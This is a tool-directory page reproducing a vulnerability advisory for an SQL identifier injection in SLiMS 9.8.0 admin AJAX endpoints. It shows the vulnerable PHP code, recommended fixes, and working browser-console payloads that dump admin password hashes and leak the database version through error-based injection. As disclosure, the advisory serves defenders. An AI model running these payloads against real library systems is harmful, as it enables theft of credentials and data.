Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/primandito/cve-2026-107081
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchLearning & EducationDatabase Security
GitHubprimandito/cve-2026-107081

CVE-2026-107081

SQL Injection via identifier injection in SLiMS 9.8.0 admin AJAX endpoints (tableName/tableFields). Any authenticated staff can dump password hashes.

View Repository
124 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    899
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    831
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    661
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    444
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    443
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    395

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-107081 — SQL Injection via Identifier Injection in SLiMS 9.8.0 Admin AJAX Endpoints

CVE Version Status CVE State

Summary

SLiMS 9.8.0 is vulnerable to SQL Injection via identifier injection in three admin AJAX endpoints. The tableName and tableFields POST parameters are interpolated directly into SQL identifiers (SELECT $fields FROM $table_name ...) without whitelist validation. $dbs->escape_string() does not mitigate this because identifiers are unquoted and the injected payload contains no quotes.

Impact: Any authenticated staff account (any role) can extract data from any table — including the user table containing admin password hashes.

FieldValue
CVE IDCVE-2026-107081
Official Recordcve.org/CVERecord?id=CVE-2026-107081
Affected VersionSLiMS 9.8.0 (master)
Vulnerability TypeCWE-89: SQL Injection (Identifier Injection)
Attack VectorNetwork
Privileges RequiredLow (any authenticated staff)
Original Reportslims/slims9_bulian#391

Affected Files

FileVulnerable Lines
admin/AJAX_lookup_handler.php55–57, 80–86
admin/AJAX_check_id.php16–17, 25
admin/AJAX_vocabolary_control.php40–41, 50, 59–64

Vulnerable Code

admin/AJAX_lookup_handler.php

Parameter input (lines 55–57) and field mapping (line 67):

vulnerable lookup params

Query building (lines 80–86) — $fields and $table_name are interpolated raw:

vulnerable lookup query

// lines 55-57
$table_state  = explode(':', trim($_POST['tableName']));
$table_name   = trim($table_state[1] ?? $table_state[0]);
$table_fields = trim($_POST['tableFields']);

// line 67
$fields = str_replace(':', ', ', $table_fields);

// lines 80-86
$sql_string  = "SELECT $fields ";
$sql_string .= " FROM $table_name ";
if ($criteria_string) {
    $sql_string .= " WHERE $criteria_string LIMIT $limit";
}

admin/AJAX_check_id.php

Lines 16–17 (escape_string does not help in identifier context) and line 25 (query):

vulnerable check id

// lines 16-17
$table_name   = $dbs->escape_string(trim($_POST['tableName']));
$table_fields = $dbs->escape_string(trim($_POST['tableFields']));

// line 25
$sql_string = "SELECT $table_fields FROM $table_name WHERE $table_fields='$id' LIMIT 1";

admin/AJAX_vocabolary_control.php

Lines 40–41, 50, 59–64, and 68 — same pattern, identifier without validation:

vulnerable vocabulary control

// lines 40-41
$table_name   = $dbs->escape_string(trim($_POST['tableName']));
$table_fields = trim($_POST['tableFields']);

// line 50
$fields = str_replace(':', ', ', $table_fields);

// lines 59-64
$sql_string  = "SELECT $fields ";
$sql_string .= " FROM $table_name ";
if ($criteria) {
    $sql_string .= " WHERE $criteria LIMIT $limit";
}

// line 68
$query = $dbs->query($sql_string);

Contributing factor: the admin-side global sanitizer at admin/default/session.inc.php:35 is called with filter: [false, true, true], so escape_sql is disabled for all admin requests. Each module must escape locally — which is insufficient for identifier context.


Proof of Concept

Prerequisites

  • SLiMS 9.8.0 running locally (e.g. via the repository's own docker-compose.yml: php:8.3.13-apache + mariadb:lts)
  • Logged in as any valid staff account (any role)

PoC 1 — Extract Admin Password Hash

Login to /admin, open http://localhost:8881/admin/modules/bibliography/index.php, press F12 → Console, and run:

fetch('/admin/AJAX_lookup_handler.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: new URLSearchParams({
    tableName: '(SELECT username AS biblio_id, passwd AS title FROM user) AS x',
    tableFields: 'biblio_id:title',
    keywords: 'a'
  })
}).then(r => r.text()).then(t => document.write(t))

Response:

<option value="admin">$2y$10$bkRr0kctSLbJIBWyt52M5Oc7Q9HdAdfVCbfKDFFyFkRdM8LXZl03q</option>

The bcrypt hash of the admin password is leaked and can be cracked offline with hashcat or john.

PoC credential leak

PoC 2 — Error-Based Version Leak

Error-based variant via admin/AJAX_check_id.php:

fetch('/admin/AJAX_check_id.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: new URLSearchParams({
    tableFields: 'biblio_id',
    tableName: '(SELECT extractvalue(1,concat(0x7e,(SELECT version()),0x7e))a FROM dual) x',
    id: 'x'
  })
}).then(r => r.text()).then(t => document.write(t))

Output:

XPATH syntax error: '~12.3.3-MariaDB-ubu2404~'

The database version is leaked via error-based injection using extractvalue().

PoC XPath error

PoC 3 — Blind Injection (Optional)

Because $table_name is inserted in the FROM clause, blind techniques such as time-based injection with IF() and SLEEP() are also possible for further data enumeration without relying on errors.


Environment

system environment

ComponentVersion
SLiMS9.8.0 (master)
Operating SystemUbuntu 24.04
Web ServerApache 2.4.62 (Debian)
PHP8.3.13
MariaDB12.3.3-MariaDB-ubu2404
MySQL Clientmysqld 8.3.13
BrowserFirefox 156

Verified using the repository's own docker-compose.yml.


Recommended Fix

1. Whitelist Identifiers (recommended)

$allowed_tables = ['biblio', 'mst_author', 'mst_publisher', /* ... */];

if (!in_array($table_name, $allowed_tables, true)) {
    http_response_code(400);
    exit('Invalid table name');
}

// Validate each field
$allowed_fields = ['biblio_id', 'title', 'author', /* ... */];
foreach (explode(':', $table_fields) as $f) {
    if (!in_array(trim($f), $allowed_fields, true)) {
        exit('Invalid field');
    }
}

2. Map From Frontend

The frontend should not send raw table/column names. Use an abstract code (e.g. "biblio_lookup") that the server maps to a legitimate table and column set.

3. Quote Identifiers With Backticks

Download Tool